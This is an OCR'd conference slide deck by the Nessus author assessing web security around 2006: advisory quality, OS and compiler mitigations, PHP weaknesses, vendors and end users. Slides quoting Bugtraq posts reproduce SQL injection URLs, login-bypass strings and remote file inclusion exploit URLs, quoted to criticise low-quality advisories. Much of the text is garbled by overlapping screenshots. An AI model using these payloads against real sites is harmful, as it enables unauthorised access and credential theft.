Are we secure yet !
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® Renaud Deraison
® Nessus author and current maintainer
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What this talk is about

® The infosec industry has attempted to

“secure the internet” over the last few years

d e fa ..:. T
et g el 2"";«- e {3 45k
g = P el L e e R T e e B L e e e A e R T B R B B T R ek i S




The quality of the security advisories

The way networks are being managed

Operating systems and compilers are
“getting there”
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Security bulletins

e Officially, the number of flaws is still inflating:
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Security bulletins

e Officially, the number of flaws is still inflating:
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Security Bulletins




Security Bulletins

From: navairum@gmail.com
Subject: SQL Injection simplog
Date: October19, 2006 9:27:41 PM CEDT
To: bugtrag®@securityfocus.com

Softare: Simplog www.simplog.org
version:0.9.3.1 (i assume others as well)

There are a few sgl injections available with this scftware. This cne is in preview.php

eqg.

http://site/preview.php?blogid=2&adm=tem&tid=-1%20union%20selectiipasswordt20from$20blog users%
2iwhere%20name="[insert username here]'




Security Bulletins

From: navairum@gmail.com
Sihklast- 20l Inlartinn eimalaa

From: fireboy2006@gmail.com
Subject: KICS CMS sql injection
Date: October 19, 2006 3:04:37 AM CEDT
To: bugtrag®@securityfocus.com

T FA A r A drddddd

* Tunis the 1871072006+
* bug found by fireboy*

T FA A r A drddddd

product :KICS CHS
vendor:http: //www. kinesis.com.aus

there is an sgl injection problem in KICS CHM5 login page and it can be exploited to gain admin
privileges.

exploits:

user: 'or'
pass: 'or'’




Security Bulletins

From: navairum@gmail.com
Sihklast- 20l Inlartinn eimalaa
From: fireboy2006@gmail.com
Subject: KICS CMS sqgl injection
Date: October 19, 2006 3:04:37 AM CEDT
To: bugtrag®@securityfocus.com

From: fireboy2006@gmail.com
Sublect: UtraCMS 0.9 sql injection

Date: October 19, 2006 3:03:09 AM CEDT
To: bugtrag®@securityfocus.com

Thdrhhrrhkdrrrrrhrrrrrdrrrdrdhdd

* Tunis the 18 October 2006
* bug found by fireboy *

Thdrhhrrhkdrrrrrhrrrrrdrrrdrdhdd

product:UltracMs 0.9

there is an sgl injecticn problem in UltraCMs 0.9 and it can be expleited to gain admin
privileges.

exploit:
user: 'or''=’
pass: 'or''='




Security Bulletins

From: navairum@gmail.com
Sihklast- 20l Inlartinn eimalaa
. fireboy2006 @gmail.com
i: KICS CMS sql injection
ate: October 19, 2006 3:04:37 AM CEDT
. bugtrag®@securityfocus.com

From: fireboy2006@gmail.com

Sut From: mahmood ali <mah_k_2000@hotmail.com=
' Subject: DigitalHive 2.0 RC2 (base_include.php)File Include

Date: October 19, 2006 1:53:51 AM CEDT
To: bugtrag@securityfocus.com

R R R R
DigitalHive 2.0 RCZ (base_include.php)File Include
FRER S Y

Source Code:
http:/ /www.comscripts.com/ jump. phpfaction=scriptiid=1502
AR A

Vulnerable Code:_
include ($_GET["page"]):
A A

Exploit
http://www.vicTim,com/ [FPath]/template/purpletech/base include,phpi?page=shell .txt?




Security Bulletins

“rom: navairum@gmail.com
Sihklast- 20l Inlartinn eimalaa
n: fireboy2006@gmail.com
=1: KICS CMS sqgl injection
. October 19, 2006 3:04:37 AM CEDT
. bugtrag®@securityfocus.com

~rom: fireboy2006@amail.com

5 mile
= F

1

. mahmood ali =mah_k_2000@hotmail.com=
NimtalHiva 20 B2 (Thaeca iaslihida alsiEilla laeslsda

- mahmood ali =mah_k 2000@hotmail.com=

CS-Forum 0.82 (ajouter.php) Remote File Include Vulnerability
te: October 18, 2006 1:35:18 PM CEDT
o: bugtraq@securityfocus.com , submit@milwlrm.com

O
CS=Forum Q.82 [(ajouter.php) Remote File Include vulnerability
EREE R R R

Source Code:
http: / /www. comscripts .. coms jump. php?action=script&id=643
OO 0 S A A

Vulnerable Code:
include("$include/foocter.php" )
FR RN

Exploit
http:  Swww.vicTim,.com! [CS=Forum]/ajouter.php?include=shell . txt?
A




Security Bulletins

',"****************************************',"
“rom: navairum@gmail.cor
Sihklast- 20l Inlartinn eimale
. fireboy2006@gm

2ot KICS CMS sglin creDpIT:
ate: October19, 2006 widcklng.com

lo: bugtrag®@security
PRODUCT :

rom: fireboy2006&@ . sov one Admin 4.1
f F From: mahmod http: /! /www.comdevweb.com/oneadmin.
Bigets Mimitaldi

http: /Swww.widcking.com

VULNERABRILITY :
Femote File Inclusion

f
Jate: |
t

NOTES :
= reguires register glcbals on
= regquires magic gquotes off

A
C5-Forum
HEA A

FOC:
<host>/<path>/oneadmin/adminfoot.php?path|[docroot J=<local/remote

Source Ct
http: L W
B

ADVISORY & EXPLOIT (reguires registration):
http://widcklng.com/board/showthread . php?t=1491

H"****************************************'|"
Viulnerab e

include("$include/foocter.php" )
FR RN

Exploit
http:  Swww.vicTim,.com! [CS=Forum]/ajouter.php?include=shell . txt?
A




disfigure <disfigure @gmail.com=
Boonex Dolphin 5.2 Remote File Inclusion
te: October 18, 2006 4:49:06 AM CEDT
. full-disclosure@lists.grok.org.uk , bugtraq@securityfocus.com

f**ir**********1\‘**************************;

http: /Swww.wdcking . com

_ f****************************************f

CREDIT:

wicklng.ocom n
http: /Swww.widcking.com

FRODUCT &

Boonex Dolphin 5.2

http: /Swww. boonex. com/p

CREDIT:
wicklng.com

PRODUCT :
Comdev One Admin 4.1
http: / Swww . comdevweb ., com/ocneadmin . php

VULNERARBILITY :

Remote File Inclusion

‘*
+1 Da From:

o 1 Subject:

VULNERABRILITY :
Femote File Inclusion

ol Date:

f

{
[ {
h wi To: |t
2

NOTES :
= reguires register glcbals on

- = regquires magic gquotes off

1
P POC:

<host>/<path>/oneadmin/adminfoot.php?path|[docroot J=<local/remote file>

Source Cf

ADVISORY & EXPLOIT (reguires registration):
http: L W

http://widcklng.com/board/showthread . php?t=1491

f****************************************f

Vulnerabiemweomerm,
include("$include/foocter.php" )
FR RN

Exploit
http:  Swww.vicTim,.com! [CS=Forum]/ajouter.php?include=shell . txt?
A




From: disfigure <disfigure@gmail.com:
Subject:
Date:
To:

From: disfigure <disfigure@gmail.comz
Sublect: Simplog 0.9.3.1 SQL Injection
Date: October 18, 2006 4:50:48 AM CEDT
To: full-disclosure®@lists.grok.org.uk , bugtrag®@securityfocus.com

FEE T LY

j!i****************************************‘|!i

http: /N
CREDIT: http: //www.wdcking.com

widcklng
CREDIT:

FRODUCT widcklng.com

DoOmet | FRODUCT =
http: /N '

i Simplog 0.9.3.1

| VULNERA] http: / fwww. simplog. orgf

Remote | ‘
VULNERABILITY:

S0L Injection

NOTES :
= 80L injecticon can be used to cobtain password hash
= reguires at least one blog entry

POC:
<host>/<path>/comments.php?op=edit&cid=1%20union%20select%209,9,9,login, 9, password, ?,9%20from%
20blog_users%Z0where%2ladmin=1

Dt
R Source Ct apyrsoRy & EXPLOIT (requires registration):
DELD: LAWY oy, / /wdcking. com/board/showthread. php?t=1491
Vulne #fssfdes
'.L:l'clu .'fl'ﬁ"*"*''*''*"*"ﬁ"*"*''*''*"*"ﬁ"*"*''*''*"*"ﬁ"*"*''*''*"*"ﬁ"*"*''*''*"*"ﬁ"*"*"*’'ﬁ"ﬁ"ﬁ"ﬁ"ﬁ"ﬁ'.'fﬁ
¥ Vulnerablewsooem
include("$include/footer.php");
Explo  #fdiddd i i g et i e e e g e e
http:

Exploit :
http: / Swww.vicTim.com/ [CS=Forum]/ajouter.php?include=shell . txt?
EREEHEREEFERREA SRS AR AT SRR Ry




From: disfigure <disfigure@gmail.com:
Sugi:: From: disfigure <disfigure@gmail.comz

To: Subject: Simplog 0.9.3.1 SAL Injection
o Date: October 18, 2006 4:50:48 AM CEDT
To: full-disclosure®@lists.grok.org.uk , bugtrag®@securityfocus.com

FEE T LS

From: MoHaNdKo <xplo@msn.coms

Sublect: zorum_ 3 5 <=(dbproperty.php) Remote File Inclusion Exploit
. October 18, 2006 6:21:57 AM CEDT
. bugtraq®@securityfocus.com

password,?,9%20from%

#htpp: //sitename.com/[scerpitPath]/gorum/dbproperty.phpfappDirName=http: //shell . txt

include["$inc1ud€ff&ater.php”;;
FR RN

Exploit :
http: / Swww.vicTim.com/ [CS=Forum]/ajouter.php?include=shell . txt?
EREEHEREEFERREA SRS AR AT SRR Ry




From: disfigure <disfigure@gmail.com:
Subject:
Date:
To:

From: disfigure <disfigure@gmail.comz
Sublect: Simplog 0.9.3.1 SQL Injection
Date: October 18, 2006 4:50:48 AM CEDT
To: full-disclosure®@lists.grok.org.uk , bugtrag®@securityfocus.com

FEE T LS

From: MoHaNdKo <xplo@msn.coms
Sublect: zorum_ 3 5 <=(dbproperty.php) Remote File Inclusion Exploit
. October 18, 2006 6:21:57 AM CEDT
: huntrand@securitdncus com
From: wacky@ihack.pl

Subject: phpAdsNew include bug!
. October 17, 2006 8:02:00 PM CEDT
. bugtrag@securityfocus.com

L el A B A A A A A A
Autors:
= Micha&¥322; "wacky B&¥F3ZZ:;aszczak
= Nobody

http:/ iHACK.pl
B
File: modules/phpads/admin/upgrade.php

password,?,9%20from%

Code:

/{ Load language strings
if (file exists("../language/".S5phpAds config['language']."/defau
* include("../language/".$phpAds config['language']."/default.lang.pgfshell.txt
else
{
$phpAds config['language’'] = 'english’;
include("../language/english/default.lang.php");
}

hell . txt?




From: disfigure <disfigure@gmail.com:
Subject:
Date:
To:

From: disfigure <disfigure@gmail.comz
Subject: Simplog 0.9.3.1 SAL Injection
Date: October 18, 2006 4:50:48 AM CEDT
; To: full-disclosure®@lists.grok.org.uk , bugtrag®@securityfocus.com
From: MoHaNdKo <xplo@msn.coms
Sublect: zorum_ 3 5 <=(dbproperty.php) Remote File Inclusion Exploit
Date: October 18, 2006 6:21:57 AM CEDT
To: huatran@sacuritvfaciis com
From: wacky@ihack.pl

From: matteo@phpadsnew.com
Sublect: Re: phpAdsNew include bug!
Date: October 19, 2006 1:28:09 AM CEDT
To: bugtrag®@securityfocus.com

Woeon

II*.I;“?I;II?;

Wim is right: I can't reproduce and/or confirm the expleoit too.

- The vulnerability seems totally bogus to me. If you think it isn't, just send me some details and
I'll be pleased to write a fix for the next release.

Best regards

Matteo

Code:

/{ Load language strings
if (file exists("../language/".S5phpAds config['language']."/defau
* include("../language/".$phpAds config['language']."/default.lang.pgfshell.txt
else
{
$phpAds config['language’'] = 'english’;
include("../language/english/default.lang.php");
}

hell . txt?




Security Advisories

~ ® Another way to look at it : tag “useless” |
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Number of "useless" advisories
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Useless vs Overall BIDs

Useless
M Overall

9 10 11 12 13 14 15 16 17 18 19 20 21

time (months)







9% of Useless advisories

10 11 12 13 14 15 16 17 18 19 20 21

time (months)




So where are we,
really ?

® | ess remote exploits (when was the last
worm ?)

® Remote exploits have a good monetary
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Operating Systems are
getting there




Operating systems are
getting there

e Audit AND Mitigate

® ie: On the Windows side, not only the code
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Technology is getting there
(at least at the OS level)

® NX (intel/amd) prevent stack overflows
(Windows, Linux and even Mac OS X and others
take advantage of this)
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Technology is getting
there (compilers)

® /GS (Windows), Propolice (Linux)

® Compilers yell at you for writing insecure
code (esp. the newest version of Visual




Sidenote : wcsncat_s()

® Secure version of strcat() :
® wcsncat_s(out, sizeof(out), in, strlen(in))
® Makes sure that ‘out’ has enough space to
hold ‘in’. If ‘in’ is larger than ‘out’, then
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wcesncat_s() [cont.]

These functions try to append the first D characters of strSource to the end of strDest, where D is
the lesser of count and the length of strSource. If appending those D characters will fit within
strDest (whose size is given as sizelnBytes or sizeInWords) and still leave room for a null

terminataor, then those characters are appended, starting at the original terminating null of strDest,

and a new terminating null is appended; otherwise, strDest[0] is set to the null character and the
invalid parameter handler is invoked, as described in Parameter Validation.




wcesncat_s() [cont.]

These functions try to append the first D characters of strSource to the end of strDest, where D is
the lesser of count and the length of strSource. If appending those D characters will fit within
strDest (whose size is given as sizelnBytes or sizeInWords) and still leave room for a null
terminataor, then those characters are appended, starting at the original terminating null of strDest,
and a new terminating null is appended; otherwise, strDest[0] is set to the null character and the
invalid parameter handler is invoked, as described in Parameter Validation.

Invalid Parameter Handler Routine

The behavior of the C Runtime when an invalid parameter is found is to call the currently assigned invalid
parameter handler. The default invalid parameter invokes Watson crash reporting, which causes the
application to crash and asks the user if they want to load the crash dump to Microsoft for analysis. In
Debug mode, an invalid parameter also results in a failed assertion.




wcesncat_s() [cont.]

These functions try to append the first D characters of strSource to the end of strDest, where D is
the lesser of count and the length of strSource. If appending those D characters will fit within
strDest (whose size is given as sizelnBytes or sizeInWords) and still leave room for a null
terminataor, then those characters are appended, starting at the original terminating null of strDest,
and a new terminating null is appended; otherwise, strDest[0] is set to the null character and the
invalid parameter handler is invoked, as described in Parameter Validation.

Invalid Parameter Handler Routine

The behavior of the C Runtime when an invalid parameter is found is to call the currently assigned invalid
parameter handler. The default invalid parameter invokes Watson crash reporting, which causes the
application to crash and asks the user if they want to load the crash dump to Microsoft for analysis. In
Debug mode, an invalid parameter also results in a failed assertion.




wcesncat_s() [cont.]

These functions try to append the first D characters of strSource to the end of strDest, where D is
the lesser of count and the length of strSource. If appending those D characters will fit within
strDest (whose size is given as sizelnBytes or sizeInWords) and still leave room for a null
terminataor, then those characters are appended, starting at the original terminating null of strDest,
and a new terminating null is appended; otherwise, strDest[0] is set to the null character and the
invalid parameter handler is invoked, as described in Parameter Validation.

Invalid Parameter Handler Routine

The behavior of the C Runtime when an invalid parameter is found is to call the currently assigned invalid
parameter handler. The default invalid parameter invokes Watson crash reporting, which causes the
application to crash and asks the user if they want to load the crash dump to Microsoft for analysis. In
Debug mode, an invalid parameter also results in a failed assertion.

=> One has to be extra careful (either redefine the
exception, or use the right flag), otherwise a DoS will follow



How networks are
being managed




Legalese actually helps

® Patches come and go.A guideline such as the
SANS Top 20 is useless in the long term

o SOX, FISMA, GLBA, HIPAA are mostly about

L chan ge manag ement i
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Best practices help too

® A good set of best practices reduce the risk
by disabling unused services and
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Patch Deployment is
easier







k
o

Eam R

LT :;,_-;'_,.*-,

OB e A T P o LT B TR L R SR o RO
Sy e L i et A R B i
S g e S A ., o ™ = N e A B y % N TN \AJVY =N A NATS N e o o S 5 o 6 S s
e e A AN RYIGYIRY L APl el Mol = el @ il @& VWV I 11 & A | \WET)Y A6 1,,._,"#'- B e g e R
C & | | x g £ ¥ ] - CL L P 3 e b

SQL injection, XSS, code
execution, etc...

® All of these exist in a lot of different web
apps (especially in PHP apps)

® PHP seems to be bad because that’s the



Problems with PHP

® No clear I/O filtering

® A web app can modify a global variable
(register_globals = YES)

® No compilation - it’s harder to spot the use of
uninitialized variables (combined with
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PHP

® The only way to write a secure web
application implies a lot of security work -

scrub/filter every variable, etc...
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Frameworks to the

rescue
® Ruby on Rails,WebObijects, TurboGears, etc...

® [et the framework do most of the security

® No SQL queries - object modeling generates that

automatically (or stored procedures)
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Software vendors




Software vendors

® Benefit from the OS mitigation techniques
(ASLR, NX etc...). Need to audit, though.

® |mpossible to gauge :
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SVs : the good

® Some vendors are very pro-active security-
wise (if one flaw is disclosed, a full audit is
conducted and “all” flaws are covered by a

full rewrite if needed)
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SVs : the bad

® One class of flaw disclosed to a vendor, they
only fix one instance of it (no audit at all)
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SVs : the ugly

“This patch fixes a denial of service” (read:
“this patch fixes a remote root exploit”)

a l de IZJ f AWS t 1€l s R

Tl‘f "‘ R 3 A N o o, - A : AR
rf"' "+ SRR N e e r'-"".,""'ﬂ"“" R e e R
T e L s S e PTG e T i e i o o i e
L8 e b o] !




End-users




End users

® Not security experts (and should not have
to be)
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End-users

® Security is effective when it's non
intrusive

° ereless routers Good fi rewalls (NAT
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End-users

® Non-geeks still don’t patch enough (XP SP2
works well in that regard, by forcing the
patches down their throat)

L '_:_'l ) o o b Py .4-...-' ke s Rl Ak 15 - B ' G B e b s O RN ST S R L e Y : y 5 N e .-:-." sl AR
it e o SR s A S e L e i s S s e A e e T M e ST i i PR I L e R g T SR S e A T e B L
G 1N ?_,-',,I_";_ :-":'%J Vialala _»_:. = 4= N O _,, vl A.,“I.l.-l_v._'l\,“.-!:-.-. .-::_T | e :_.:,i ; .@-?_._ ._.|-_. _-.. " 3 '-',_:":‘_,"-:‘_"r'-,'_'-':'*'!_,."-:'.:'::=__': -:.,_--1‘....-_‘._*-_ .':T‘ 2T I"-"'.': " :.-;_-I-‘g;-j,‘_-:_{ ot A e _1_.:|:_‘. ""I-" £

P SEE Rt B S P e e




End-users




Are we secure ! Not yet.

® |nsecure configurations still there
® Flaws in drivers / kernel etc...

® Client side flaws (thanks to XP SP2 and its
G f' rewaII) Internet Explorer/FlreFox/etc
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Conclusion




Conclusion




Conclusion

® We're in relatively good shape

PTCRO. Thlngs are not perfect yet but they used to AT
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Questions !




